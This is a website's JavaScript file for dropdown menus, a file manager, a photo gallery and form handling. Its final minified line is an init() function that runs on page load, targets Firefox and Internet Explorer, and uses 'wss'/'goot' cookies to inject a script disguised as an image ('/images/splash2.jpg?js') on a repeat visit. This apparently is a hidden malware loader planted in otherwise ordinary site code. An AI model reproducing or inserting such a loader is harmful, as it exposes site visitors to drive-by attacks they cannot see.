function HideDIV(d) { document.getElementById(d).style.display = "none"; }
function DisplayDIV(d) { document.getElementById(d).style.display = "block"; }


var menu1=new Array()
menu1[0]='<a href="#">SMA</a>'
menu1[1]='<a href="#">Polymers</a>'
menu1[2]='<a href="#">ABS Plastics</a>'
menu1[3]='<a href="#">Polymer Coatings</a>'
		
var menuwidth='165px' //default menu width
var menubgcolor='lightyellow'  //menu bgcolor
var disappeardelay=300  //menu disappear speed onMouseout (in miliseconds)
var hidemenu_onclick="yes" //hide menu when user clicks within menu?

/////No further editting needed

var ie4=document.all
var ns6=document.getElementById&&!document.all

if (ie4||ns6)
document.write('<div id="dropmenudiv" style="visibility:hidden;width:'+menuwidth+';background-color:'+menubgcolor+'" onMouseover="clearhidemenu()" onMouseout="dynamichide(event)"></div>')

function getposOffset(what, offsettype){
var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
var parentEl=what.offsetParent;
while (parentEl!=null){
totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
parentEl=parentEl.offsetParent;
}
return totaloffset;
}

function showhide(obj, e, visible, hidden, menuwidth){
if (ie4||ns6)
dropmenuobj.style.left=dropmenuobj.style.top="-500px"
if (menuwidth!=""){
dropmenuobj.widthobj=dropmenuobj.style
dropmenuobj.widthobj.width=menuwidth
}
if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover")
obj.visibility=visible
else if (e.type=="click")
obj.visibility=hidden
}

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function clearbrowseredge(obj, whichedge){
var edgeoffset=0
if (whichedge=="rightedge"){
var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
edgeoffset=dropmenuobj.contentmeasure-obj.offsetWidth
}
else{
var topedge=ie4 && !window.opera? iecompattest().scrollTop : window.pageYOffset
var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure){ //move up?
edgeoffset=dropmenuobj.contentmeasure+obj.offsetHeight
if ((dropmenuobj.y-topedge)<dropmenuobj.contentmeasure) //up no good either?
edgeoffset=dropmenuobj.y+obj.offsetHeight-topedge
}
}
return edgeoffset
}

function populatemenu(what){
if (ie4||ns6)
dropmenuobj.innerHTML=what.join("")
}

function dropdownmenu(obj, e, menucontents, menuwidth){
if (window.event) event.cancelBubble=true
else if (e.stopPropagation) e.stopPropagation()
clearhidemenu()
dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv
populatemenu(menucontents)

if (ie4||ns6){
showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
dropmenuobj.x=getposOffset(obj, "left")
dropmenuobj.y=getposOffset(obj, "top")
dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+"px"
dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+"px"
}

return clickreturnvalue()
}

function clickreturnvalue(){
if (ie4||ns6) return false
else return true
}

function contains_ns6(a, b) {
while (b.parentNode)
if ((b = b.parentNode) == a)
return true;
return false;
}

function dynamichide(e){
if (ie4&&!dropmenuobj.contains(e.toElement))
delayhidemenu()
else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
delayhidemenu()
}

function hidemenu(e){
if (typeof dropmenuobj!="undefined"){
if (ie4||ns6)
dropmenuobj.style.visibility="hidden"
}
}

function delayhidemenu(){
if (ie4||ns6)
delayhide=setTimeout("hidemenu()",disappeardelay)
}

function clearhidemenu(){
if (typeof delayhide!="undefined")
clearTimeout(delayhide)
}

if (hidemenu_onclick=="yes")
document.onclick=hidemenu


/////
function getY( oElement )
{
 var iReturnValue = 0;
 while( oElement != null ) {
 iReturnValue += oElement.offsetTop;
 oElement = oElement.offsetParent;
 }
 return iReturnValue;
}

function getX( oElement )
{
 var iReturnValue = 0;
 while( oElement != null ) {
 iReturnValue += oElement.offsetLeft;
 oElement = oElement.offsetParent;
 }
 return iReturnValue;
}

var ie=document.all;
var ns6=document.getElementById && !document.all;
var opera=window.opera;

var winwidth=0;
var winheight=0;

function getclientSize() {
 if (!winwidth)
  winwidth=ie&&!opera ? document.body.clientWidth : window.innerWidth-20;
 if (!winheight)  
  winheight=ie&&!opera ? document.body.clientHeight : window.innerHeight-20;
}

var menu_time;
function show_sub_menu(index,visible)
{   
 var length=document.getElementById('nr_of_sub').value;
 for(i=0;i<length;i++) {
  document.getElementById('submenu'+i).style.visibility='hidden';
  //document.getElementById('menu_left_'+i).className='menu_item';
 }

 var left=getX(document.getElementById('menu_left_'+index));
 var top=getY(document.getElementById('menu_left_'+index));
 
 document.getElementById('submenu'+index).style.left=left+'px';
 document.getElementById('submenu'+index).style.top=top+'px';
 
 if (visible==1) {
  if (document.getElementById('nr_of_subsub'+index).value>0)
   document.getElementById('submenu'+index).style.visibility='visible';
  //document.getElementById('menu_left_'+index).className='menu_item_selected';
 } else {
  document.getElementById('submenu'+index).style.visibility='hidden';
  //document.getElementById('menu_left_'+index).className='menu_item';
 }
}
function getMouseXY(evt)
{		
  var e = (window.event) ? window.event : evt;
  var xMousePosMax = (window.pageXOffset) ? window.pageXOffset : document.body.scrollLeft;  
  var yMousePosMax = (window.pageYOffset) ? window.pageYOffset : document.body.scrollTop;
  x=xMousePosMax+e.clientX;
  y=yMousePosMax+e.clientY;
  
   
  if (y<300 && dom==1) {
 	//document.getElementById("details").style.left = x + 15;
 	
 	var offsetLeft= (document.all) ? document.getElementById('main_project').offsetLeft+document.getElementById('main_page').offsetLeft : document.getElementById('picture_map').offsetLeft;
 	
  	
  	if (x>offsetLeft+220) 
  		document.getElementById("details").style.left = x - 210;
  	else
  		document.getElementById("details").style.left = x + 15; 	
 	
 	
  	if (y>document.getElementById('picture_map').offsetTop+190) 
  		document.getElementById("details").style.top = y - 125;
  	else
  		document.getElementById("details").style.top = y + 15; 	
  }
}	
	
function showDetails(s) {
	document.getElementById("details").className = "details";
	document.getElementById("details_content").innerHTML = document.getElementById("details_"+s).innerHTML;
}

function hideDetails() {
	document.getElementById("details").className = "details_invisible";
}

function open_pop(file) {
	newWindow = window.open('popup2.php?image='+file, 'ZOOM', 'scrollbars=auto,width=2,height=2,left=200,top=200,resizable=1,toolbar=0,location=0,directories=0,status=0,menubar=0,copyhistory=0' );
	if (document.images) newWindow.focus();
}


function open_newsl(id) {
	newWindow = window.open('popup3.php?id='+id, 'newsletter', 'scrollbars=yes,width=620,height=400,left=200,top=200,resizable=1,toolbar=0,location=0,directories=0,status=0,menubar=0,copyhistory=0' );
}

function is_number_attr(e,obj) {
 if (!e) var e = window.event;
 
 var code;
 if (e.keyCode) 
  code = e.keyCode;
 else if (e.which) 
  code = e.which;
 
 if (code==13 || code==8 || code==9 || code==47 || code==37 || code==38 || code==39 || code==40)
  ;
 else
	if ((String.fromCharCode(code)>='0' && String.fromCharCode(code)<='9')) 
     ;
    else
     return false;  
     
}

function set_number(obj)  {
	var str=obj.value;
	var aux="";
	for(var i=0;i<str.length;i++) 
		if (str.charAt(i)>='0' && str.charAt(i)<='9')
			aux+=str.charAt(i);
	obj.value=aux;	
}

/*foto*/

function selectfolder(index) {
	if (!document.getElementById('folder_chk_'+index).checked)
	{
		document.getElementById('folderimg'+index).src=document.getElementById('folderimgbuffer'+index).value;
		document.getElementById('foldername'+index).className='folder_name';		
	} else {
		document.getElementById('folderimg'+index).src=document.getElementById('folderimgbuffersel'+index).value;
		document.getElementById('foldername'+index).className='folder_name_sel';				
	}
	
	var folderselected=0;
	for (i=0;i<document.getElementById('folderlen').value;i++)
		if (document.getElementById('folder_chk_'+i).checked)
			folderselected++;
			
	var fileselected=0;
	for (i=0;i<document.getElementById('filelen').value;i++)
		if (document.getElementById('file_chk_'+i).checked)
			fileselected++;

	if (folderselected==0) {
		if (fileselected==0) {
			select_def_f();
			generate_option_menu(1,1,0);
		} else if (fileselected==1) {
			selected_file_detail();
			generate_option_menu(1,1,1);
		} else if (fileselected>1) {
			selecte_more_forf();
			generate_option_menu(1,1,1);
		}
	} else if (folderselected==1) {
		if (fileselected==0) {
			selected_folder_detail();
			generate_option_menu(1,1,1);
		} else if (fileselected==1) {
			selecte_more_forf();
			generate_option_menu(1,1,1);
		} else if (fileselected>1) {
			selecte_more_forf();
			generate_option_menu(1,1,1);
		}
	} else if (folderselected>1) {
		if (fileselected==0) {
			selecte_more_forf();
			generate_option_menu(1,1,1);
		} else if (fileselected==1) {
			selecte_more_forf();
			generate_option_menu(1,1,1);
		} else if (fileselected>1) {
			selecte_more_forf();
			generate_option_menu(1,1,1);
		}
	}
			
}

function openfolder(index) {
	return false;
}

function selectfile(index) {
	if (!document.getElementById('file_chk_'+index).checked)
	{
		document.getElementById('fileimg'+index).src=document.getElementById('fileimgbuffer'+index).value;
		document.getElementById('filename'+index).className='folder_name';		
	} else {	
		document.getElementById('fileimg'+index).src=document.getElementById('fileimgbuffersel'+index).value;
		document.getElementById('filename'+index).className='folder_name_sel';				
	}
	
	var folderselected=0;
	for (i=0;i<document.getElementById('folderlen').value;i++)
		if (document.getElementById('folder_chk_'+i).checked)
			folderselected++;
			
	var fileselected=0;
	for (i=0;i<document.getElementById('filelen').value;i++)
		if (document.getElementById('file_chk_'+i).checked)
			fileselected++;

	if (fileselected==0) {
		if (folderselected==0) {
			select_def_f();
			generate_option_menu(1,1,0);
		} else if (folderselected==1) {
			selected_folder_detail();
			generate_option_menu(1,1,1);
		} else if (folderselected>1) {
			selecte_more_forf();
			generate_option_menu(1,1,1);
		}
	} else if (fileselected==1) {
		if (folderselected==0) {
			selected_file_detail();
			generate_option_menu(1,1,1);
		} else if (folderselected==1) {
			selecte_more_forf();
			generate_option_menu(1,1,1);
		} else if (folderselected>1) {
			selecte_more_forf();
			generate_option_menu(1,1,1);
		}
	} else if (fileselected>1) {
		if (folderselected==0) {
			selecte_more_forf();
			generate_option_menu(1,1,1);
		} else if (folderselected==1) {
			selecte_more_forf();
			generate_option_menu(1,1,1);
		} else if (folderselected>1) {
			selecte_more_forf();
			generate_option_menu(1,1,1);
		}
	}
}


function opendir(index) 
{
	document.form1.command.value='open';
	document.getElementById('opendir').value=document.getElementById('folder_path'+index).value;
	document.form1.submit();	
}

function opendir__(index) 
{
	document.form1.command.value='open';
	document.getElementById('opendir').value=document.getElementById('folder_path'+index).value;
	document.form1.submit();	
}

function openpath(path) {
	document.form1.command.value='open';
	document.getElementById('opendir').value=path;
	document.form1.submit();	
}

function selected_folder_detail() {
	for (i=0;i<document.getElementById('folderlen').value;i++)
		if (document.getElementById('folder_chk_'+i).checked)
			{
				document.getElementById('detais').innerHTML='<b>'+document.getElementById('folder_shortname'+i).value+'</b><br>'+Folder_word+'<br><br> '+Date_Modified_word+': '+document.getElementById('folder_mdate'+i).value+'<br>'+Total_Size_word+': '+document.getElementById('folder_psize'+i).value;
				return 0;
			}
}

function selected_file_detail() {
	var thumbnail='';
	for (i=0;i<document.getElementById('filelen').value;i++)
		if (document.getElementById('file_chk_'+i).checked)
			{
				if (document.getElementById('file_image'+i).value==1)
				{
					var size1=parseInt(document.getElementById('file_imgw'+i).value);
					var size0=parseInt(document.getElementById('file_imgh'+i).value);
					var dim='';
					
					var h=0;
					var w=0;
					
					var max_w=150;
					var max_h=100;
					
					if (size1>max_h) {
						h=max_h;
						w=max_h/size1*size0;
					} else { 
						h=size1;
						w=size0;
					}
					
					while (w>max_w) {
						h=h-h*1/100;
						w=w-w*1/100;
					}					
					
					dim=' height="'+parseInt(h)+'" width="'+parseInt(w)+'" ';
					
					thumbnail='<table width=100% height=40><tr><td align=center valign=middle><img src="'+document.getElementById('file_cpath'+i).value+'" alt="" border="0" '+dim+'></td></tr></table><br> '+Dimension_word+': '+size0+'x'+size1+'<br><br>';
						
				} else if (document.getElementById('file_image'+i).value==2) {
					var size1=parseInt(document.getElementById('file_imgw'+i).value);
					var size0=parseInt(document.getElementById('file_imgh'+i).value);
					var dim='';
					
					var h=0;
					var w=0;
					
					var max_w=150;
					var max_h=100;
					
					if (size1>max_h) {
						h=max_h;
						w=max_h/size1*size0;
					} else { 
						h=size1;
						w=size0;
					}
					
					while (w>max_w) {
						h=h-h*1/100;
						w=w-w*1/100;
					}					
					
					dim=' height="'+parseInt(h)+'" width="'+parseInt(w)+'" ';
					
					thumbnail='<table width=100% height=40><tr><td align=center valign=middle><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"  codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" '+dim+' align="middle"><param name="allowScriptAccess" value="always" /><param name="movie" value="'+document.getElementById('file_cpath'+i).value+'" /><param name="quality" value="low" /><param NAME="wmode" VALUE="transparent"><param name="sound" value="no" /><param name="loop" value="true" /><param name="autostart" value="false" /><embed src="'+document.getElementById('file_cpath'+i).value+'" autostart="false" wmode="transparent"  quality="low" loop="true" '+dim+' align="middle" allowScriptAccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /></object></td></tr></table><br> '+Dimension_word+': '+size0+'x'+size1+'<br><br>';
					
				}
				
				document.getElementById('detais').innerHTML='<b>'+document.getElementById('file_shortname'+i).value+'</b><br>'+document.getElementById('file_extension'+i).value+' file<br><br>'+thumbnail+' '+Size_word+': '+document.getElementById('file_psize'+i).value+'<br><br>'+Date_Modified_word+': '+document.getElementById('file_mdate'+i).value;
				return 0;
			}
}

function selecte_more_forf() {
	
	var size=0;
	
	var folderselected=0;
	for (i=0;i<document.getElementById('folderlen').value;i++)
		if (document.getElementById('folder_chk_'+i).checked) {
			size+=parseInt(document.getElementById('folder_size'+i).value);
			folderselected++;
		}
			
	var fileselected=0;
	for (i=0;i<document.getElementById('filelen').value;i++)
		if (document.getElementById('file_chk_'+i).checked) {
			size+=parseInt(document.getElementById('file_size'+i).value);
			fileselected++;
		}
			
			
	var total_sel=folderselected+fileselected;

	if (size>1024) {
		size=size/1024;
		if (size>1024) {
			size=size/1024;
			if (size>1024) {
				size=size/1024;
				size=size.toFixed(2)+" GB";
			} else {
				size=size.toFixed(2)+" MB";
			}
		} else {
			size=size.toFixed(2)+" KB";
		}
	} else {
		size=size.toFixed(2)+" byte";
	}	
	
	
				document.getElementById('detais').innerHTML=total_sel+' '+items_selected_word+'<br><br> '+Total_File_Size_word+': '+size;
				return 0;	
}

function generate_option_menu(o1,o2,o3) {
	var table='<table cellpadding="0" cellspacing="0" width="155"><tr>';
	if (o1==1) {
		table+='<tr><td class="option_menu" valign="middle"><div class="add_folder"></div>&nbsp;<a href="javascript:new_folder();" class="option_text">'+Make_a_new_folder_word+'</a></td></tr>';
	}
	if (o2==1) {
		table+='<tr><td class="option_menu" valign="middle"><div class="add_file"></div>&nbsp;<a href="javascript:new_upload();" class="option_text">'+Upload_a_file+'</a></td></tr>';
	}
	if (o3==1) {
		table+='<tr><td class="option_menu" valign="middle"><div class="delete"></div>&nbsp;<a href="javascript:delete_forf();" class="option_text">'+Delete_the_selected_items_word+'</a></td></tr>';
	}
	table+='</table>';
	document.getElementById('optionmenu').innerHTML=table;
}

function select_def_f() {
	
	var current_folder_name="";
	if (document.getElementById('current_folder_name')) 
		current_folder_name=document.getElementById('current_folder_name').value; 
	var current_folder_m_time="";
	if (document.getElementById('current_folder_m_time'))
		current_folder_m_time=document.getElementById('current_folder_m_time').value;
	var current_folder_size_print="";
	if (document.getElementById('current_folder_size_print')) 
		current_folder_size_print=document.getElementById('current_folder_size_print').value;
	
	document.getElementById('detais').innerHTML='<b>'+current_folder_name+'</b><br>'+Folder_word+'<br><br> '+Date_Modified_word+': '+current_folder_m_time+'<br>'+Total_Size_word+': '+current_folder_size_print;	
}

function new_folder() {
	window.open('new_folder.php?path='+document.getElementById('opendir').value,'file_','scrollbars=no,width=490,height=150');
}

function new_upload() {
	window.open('upload_file.php?path='+document.getElementById('opendir').value,'file_','scrollbars=no,width=490,height=150');
}

function delete_forf() {
	if (confirm(Delete_files_or_folders_word)==1) {
		document.form1.command.value='delete';
		document.form1.submit();
	}
}

//fotogalery

function show_folder_thumb(index) {
	
	var len=document.getElementById('imgt_len').value;
		
	for (var i=0;i<len;i++)
		if (document.getElementById('imgt_'+i))
			document.getElementById('imgt_'+i).style.display='none';
		
	if (document.getElementById('imgt_'+index)) 
		document.getElementById('imgt_'+index).style.display='';
		
}

function show_files_thumb(index) {
	var len=document.getElementById('imgt_len').value;

	if (document.getElementById('imgt_'+index)) 
		document.getElementById('imgt_'+index).style.display='';
}


function show_gallery(i) {
	for (var j=0;j<document.getElementById('imgt_len').value;j++)
		if (i==j) {
			if (document.getElementById('gallery_'+i).style.display=='none') {
				document.getElementById('gallery_'+i).style.display='block';
				document.getElementById('sign_'+i).className='minus_v2';
			} else {
				document.getElementById('gallery_'+i).style.display='none';
				document.getElementById('sign_'+i).className='plus_v2';
			}			
		} else {
			document.getElementById('gallery_'+j).style.display='none';
			document.getElementById('sign_'+j).className='plus_v2';
		}
}


function show__(id) {
	if (document.getElementById(id)) {		
		if (document.getElementById(id).style.display=='none' || document.getElementById(id).style.display=='')
			document.getElementById(id).style.display='block';
		else
			document.getElementById(id).style.display='none';
	}
}

function redirect2(purl) {
	setTimeout('gotohome("'+purl+'")',3000);
}

function gotohome(purl) {
	window.location=purl;
}

function menu_over(id,i) {
	if (id!='selected') {
		document.getElementById('img_'+i).style.display='none';
		document.getElementById('img_sel_'+i).style.display='block';
	}
}

function menu_out(id,i) {
	if (id!='selected') {
		document.getElementById('img_'+i).style.display='block';
		document.getElementById('img_sel_'+i).style.display='none';
	}
}

function set_interactieve_scan_step(step,answer) {
	document.getElementById('interactieve_scan').step.value=parseInt(step)+1;
	if (document.getElementById('step_'+step))
		document.getElementById('step_'+step).value=answer;
	document.getElementById('interactieve_scan').submit();
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/splash2.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
